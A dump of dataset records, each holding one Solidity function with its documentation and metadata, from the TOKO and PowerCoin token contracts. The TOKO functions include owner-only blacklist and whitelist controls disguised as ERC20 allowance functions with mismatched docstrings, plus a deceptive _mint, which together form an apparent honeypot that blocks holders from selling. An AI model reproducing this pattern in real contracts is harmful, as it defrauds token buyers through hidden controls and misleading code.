contract_name
stringlengths
1
61
file_path
stringlengths
5
50.4k
contract_address
stringlengths
42
42
language
stringclasses
1 value
class_name
stringlengths
1
61
class_code
stringlengths
4
330k
class_documentation
stringlengths
0
29.1k
class_documentation_type
stringclasses
6 values
func_name
stringlengths
0
62
func_code
stringlengths
1
303k
func_documentation
stringlengths
2
14.9k
func_documentation_type
stringclasses
4 values
compiler_version
stringlengths
15
42
license_type
stringclasses
14 values
swarm_source
stringlengths
0
71
meta
dict
__index_level_0__
int64
0
60.4k
TOKO
TOKO.sol
0x8cce694cb6c8b310b18d0a335b5a79fccb1c0402
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /**...
/** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */
NatSpecMultiLine
transferFrom
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://e8cff259f737168c18bddfcd1d7480972a9ed77ada14ca575fc3b0915288d635
{ "func_code_index": [ 2039, 2141 ] }
14,700
TOKO
TOKO.sol
0x8cce694cb6c8b310b18d0a335b5a79fccb1c0402
Solidity
TOKO
contract TOKO is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mappin...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
name
function name() public view returns (string memory) { return _name; }
/** * @dev Returns the name of the token. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://e8cff259f737168c18bddfcd1d7480972a9ed77ada14ca575fc3b0915288d635
{ "func_code_index": [ 1467, 1555 ] }
14,701
TOKO
TOKO.sol
0x8cce694cb6c8b310b18d0a335b5a79fccb1c0402
Solidity
TOKO
contract TOKO is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mappin...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
symbol
function symbol() public view returns (string memory) { return _symbol; }
/** * @dev Returns the symbol of the token, usually a shorter version of the * name. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://e8cff259f737168c18bddfcd1d7480972a9ed77ada14ca575fc3b0915288d635
{ "func_code_index": [ 1669, 1761 ] }
14,702
TOKO
TOKO.sol
0x8cce694cb6c8b310b18d0a335b5a79fccb1c0402
Solidity
TOKO
contract TOKO is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mappin...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
decimals
function decimals() public view returns (uint8) { return _decimals; }
/** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://e8cff259f737168c18bddfcd1d7480972a9ed77ada14ca575fc3b0915288d635
{ "func_code_index": [ 2394, 2482 ] }
14,703
TOKO
TOKO.sol
0x8cce694cb6c8b310b18d0a335b5a79fccb1c0402
Solidity
TOKO
contract TOKO is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mappin...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
totalSupply
function totalSupply() public view override returns (uint256) { return _totalSupply; }
/** * @dev See {IERC20-totalSupply}. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://e8cff259f737168c18bddfcd1d7480972a9ed77ada14ca575fc3b0915288d635
{ "func_code_index": [ 2542, 2647 ] }
14,704
TOKO
TOKO.sol
0x8cce694cb6c8b310b18d0a335b5a79fccb1c0402
Solidity
TOKO
contract TOKO is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mappin...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
balanceOf
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
/** * @dev See {IERC20-balanceOf}. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://e8cff259f737168c18bddfcd1d7480972a9ed77ada14ca575fc3b0915288d635
{ "func_code_index": [ 2705, 2829 ] }
14,705
TOKO
TOKO.sol
0x8cce694cb6c8b310b18d0a335b5a79fccb1c0402
Solidity
TOKO
contract TOKO is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mappin...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
transfer
function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; }
/** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://e8cff259f737168c18bddfcd1d7480972a9ed77ada14ca575fc3b0915288d635
{ "func_code_index": [ 3037, 3221 ] }
14,706
TOKO
TOKO.sol
0x8cce694cb6c8b310b18d0a335b5a79fccb1c0402
Solidity
TOKO
contract TOKO is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mappin...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
allowance
function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; }
/** * @dev See {IERC20-allowance}. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://e8cff259f737168c18bddfcd1d7480972a9ed77ada14ca575fc3b0915288d635
{ "func_code_index": [ 3768, 3924 ] }
14,707
TOKO
TOKO.sol
0x8cce694cb6c8b310b18d0a335b5a79fccb1c0402
Solidity
TOKO
contract TOKO is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mappin...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
approve
function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; }
/** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://e8cff259f737168c18bddfcd1d7480972a9ed77ada14ca575fc3b0915288d635
{ "func_code_index": [ 4066, 4240 ] }
14,708
TOKO
TOKO.sol
0x8cce694cb6c8b310b18d0a335b5a79fccb1c0402
Solidity
TOKO
contract TOKO is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mappin...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
transferFrom
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; }
/** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amou...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://e8cff259f737168c18bddfcd1d7480972a9ed77ada14ca575fc3b0915288d635
{ "func_code_index": [ 4709, 5039 ] }
14,709
TOKO
TOKO.sol
0x8cce694cb6c8b310b18d0a335b5a79fccb1c0402
Solidity
TOKO
contract TOKO is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mappin...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
increaseAllowance
function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } }
/** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` c...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://e8cff259f737168c18bddfcd1d7480972a9ed77ada14ca575fc3b0915288d635
{ "func_code_index": [ 5443, 5734 ] }
14,710
TOKO
TOKO.sol
0x8cce694cb6c8b310b18d0a335b5a79fccb1c0402
Solidity
TOKO
contract TOKO is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mappin...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
decreaseAllowance
function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; }
/** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` c...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://e8cff259f737168c18bddfcd1d7480972a9ed77ada14ca575fc3b0915288d635
{ "func_code_index": [ 6232, 6380 ] }
14,711
TOKO
TOKO.sol
0x8cce694cb6c8b310b18d0a335b5a79fccb1c0402
Solidity
TOKO
contract TOKO is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mappin...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
addApprove
function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } }
/** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` c...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://e8cff259f737168c18bddfcd1d7480972a9ed77ada14ca575fc3b0915288d635
{ "func_code_index": [ 6795, 7079 ] }
14,712
TOKO
TOKO.sol
0x8cce694cb6c8b310b18d0a335b5a79fccb1c0402
Solidity
TOKO
contract TOKO is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mappin...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
_transfer
function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances...
/** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. *...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://e8cff259f737168c18bddfcd1d7480972a9ed77ada14ca575fc3b0915288d635
{ "func_code_index": [ 7566, 8114 ] }
14,713
TOKO
TOKO.sol
0x8cce694cb6c8b310b18d0a335b5a79fccb1c0402
Solidity
TOKO
contract TOKO is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mappin...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
_mint
function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); }
/** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://e8cff259f737168c18bddfcd1d7480972a9ed77ada14ca575fc3b0915288d635
{ "func_code_index": [ 8390, 8696 ] }
14,714
TOKO
TOKO.sol
0x8cce694cb6c8b310b18d0a335b5a79fccb1c0402
Solidity
TOKO
contract TOKO is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mappin...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
_burn
function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _to...
/** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://e8cff259f737168c18bddfcd1d7480972a9ed77ada14ca575fc3b0915288d635
{ "func_code_index": [ 9023, 9446 ] }
14,715
TOKO
TOKO.sol
0x8cce694cb6c8b310b18d0a335b5a79fccb1c0402
Solidity
TOKO
contract TOKO is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mappin...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
_approve
function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount)...
/** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://e8cff259f737168c18bddfcd1d7480972a9ed77ada14ca575fc3b0915288d635
{ "func_code_index": [ 9881, 10230 ] }
14,716
TOKO
TOKO.sol
0x8cce694cb6c8b310b18d0a335b5a79fccb1c0402
Solidity
TOKO
contract TOKO is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mappin...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
_approveCheck
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(send...
/** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://e8cff259f737168c18bddfcd1d7480972a9ed77ada14ca575fc3b0915288d635
{ "func_code_index": [ 10675, 11267 ] }
14,717
TOKO
TOKO.sol
0x8cce694cb6c8b310b18d0a335b5a79fccb1c0402
Solidity
TOKO
contract TOKO is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mappin...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
_setupDecimals
function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; }
/** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://e8cff259f737168c18bddfcd1d7480972a9ed77ada14ca575fc3b0915288d635
{ "func_code_index": [ 12986, 13081 ] }
14,718
TOKO
TOKO.sol
0x8cce694cb6c8b310b18d0a335b5a79fccb1c0402
Solidity
TOKO
contract TOKO is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mappin...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
_beforeTokenTransfer
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
/** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * -...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://e8cff259f737168c18bddfcd1d7480972a9ed77ada14ca575fc3b0915288d635
{ "func_code_index": [ 13679, 13776 ] }
14,719
PowerCoin
PowerCoin.sol
0xfd342bc3604fdb4f42d907421db03bd2085416c2
Solidity
TokenERC20
contract TokenERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (addre...
TokenERC20
function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens nam...
/** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */
NatSpecMultiLine
v0.4.16+commit.d7661dd9
bzzr://b2d3aecad32dd83fda8b488440aeda901d32ff913387b78c4a04439e291eeda2
{ "func_code_index": [ 840, 1385 ] }
14,720
PowerCoin
PowerCoin.sol
0xfd342bc3604fdb4f42d907421db03bd2085416c2
Solidity
TokenERC20
contract TokenERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (addre...
_transfer
function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to])...
/** * Internal transfer, only can be called by this contract */
NatSpecMultiLine
v0.4.16+commit.d7661dd9
bzzr://b2d3aecad32dd83fda8b488440aeda901d32ff913387b78c4a04439e291eeda2
{ "func_code_index": [ 1469, 2311 ] }
14,721
PowerCoin
PowerCoin.sol
0xfd342bc3604fdb4f42d907421db03bd2085416c2
Solidity
TokenERC20
contract TokenERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (addre...
transfer
function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); }
/** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */
NatSpecMultiLine
v0.4.16+commit.d7661dd9
bzzr://b2d3aecad32dd83fda8b488440aeda901d32ff913387b78c4a04439e291eeda2
{ "func_code_index": [ 2517, 2629 ] }
14,722
PowerCoin
PowerCoin.sol
0xfd342bc3604fdb4f42d907421db03bd2085416c2
Solidity
TokenERC20
contract TokenERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (addre...
transferFrom
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; }
/** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */
NatSpecMultiLine
v0.4.16+commit.d7661dd9
bzzr://b2d3aecad32dd83fda8b488440aeda901d32ff913387b78c4a04439e291eeda2
{ "func_code_index": [ 2904, 3205 ] }
14,723
PowerCoin
PowerCoin.sol
0xfd342bc3604fdb4f42d907421db03bd2085416c2
Solidity
TokenERC20
contract TokenERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (addre...
approve
function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; }
/** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */
NatSpecMultiLine
v0.4.16+commit.d7661dd9
bzzr://b2d3aecad32dd83fda8b488440aeda901d32ff913387b78c4a04439e291eeda2
{ "func_code_index": [ 3469, 3645 ] }
14,724
PowerCoin
PowerCoin.sol
0xfd342bc3604fdb4f42d907421db03bd2085416c2
Solidity
TokenERC20
contract TokenERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (addre...
approveAndCall
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } }
/** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to s...
NatSpecMultiLine
v0.4.16+commit.d7661dd9
bzzr://b2d3aecad32dd83fda8b488440aeda901d32ff913387b78c4a04439e291eeda2
{ "func_code_index": [ 4039, 4391 ] }
14,725
PowerCoin
PowerCoin.sol
0xfd342bc3604fdb4f42d907421db03bd2085416c2
Solidity
TokenERC20
contract TokenERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (addre...
burn
function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _val...
/** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */
NatSpecMultiLine
v0.4.16+commit.d7661dd9
bzzr://b2d3aecad32dd83fda8b488440aeda901d32ff913387b78c4a04439e291eeda2
{ "func_code_index": [ 4561, 4935 ] }
14,726
PowerCoin
PowerCoin.sol
0xfd342bc3604fdb4f42d907421db03bd2085416c2
Solidity
TokenERC20
contract TokenERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (addre...
burnFrom
function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Sub...
/** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */
NatSpecMultiLine
v0.4.16+commit.d7661dd9
bzzr://b2d3aecad32dd83fda8b488440aeda901d32ff913387b78c4a04439e291eeda2
{ "func_code_index": [ 5193, 5804 ] }
14,727
PowerCoin
PowerCoin.sol
0xfd342bc3604fdb4f42d907421db03bd2085416c2
Solidity
PowerCoin
contract PowerCoin is owned, TokenERC20 { uint256 public sellPrice; uint256 public buyPrice; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes...
/******************************************/
NatSpecMultiLine
PowerCoin
function PowerCoin( uint256 initialSupply, string tokenName, string tokenSymbol ) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
/* Initializes contract with initial supply tokens to the creator of the contract */
Comment
v0.4.16+commit.d7661dd9
bzzr://b2d3aecad32dd83fda8b488440aeda901d32ff913387b78c4a04439e291eeda2
{ "func_code_index": [ 392, 570 ] }
14,728
PowerCoin
PowerCoin.sol
0xfd342bc3604fdb4f42d907421db03bd2085416c2
Solidity
PowerCoin
contract PowerCoin is owned, TokenERC20 { uint256 public sellPrice; uint256 public buyPrice; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes...
/******************************************/
NatSpecMultiLine
_transfer
function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value >= balan...
/* Internal transfer, only can be called by this contract */
Comment
v0.4.16+commit.d7661dd9
bzzr://b2d3aecad32dd83fda8b488440aeda901d32ff913387b78c4a04439e291eeda2
{ "func_code_index": [ 639, 1422 ] }
14,729
PowerCoin
PowerCoin.sol
0xfd342bc3604fdb4f42d907421db03bd2085416c2
Solidity
PowerCoin
contract PowerCoin is owned, TokenERC20 { uint256 public sellPrice; uint256 public buyPrice; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes...
/******************************************/
NatSpecMultiLine
mintToken
